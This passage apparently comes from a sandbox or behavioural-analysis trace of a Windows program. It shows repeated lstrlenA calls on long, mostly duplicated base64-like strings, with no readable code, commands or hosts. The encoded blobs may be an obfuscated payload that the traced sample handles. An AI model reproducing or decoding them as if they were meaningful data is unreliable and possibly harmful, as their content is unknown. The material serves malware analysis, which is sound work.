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") returned 5792 [0163.808] lstrlenA (lpString="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") returned 5792 [0163.808] lstrlenA (lpString="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") returned 5792 [0163.808] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeu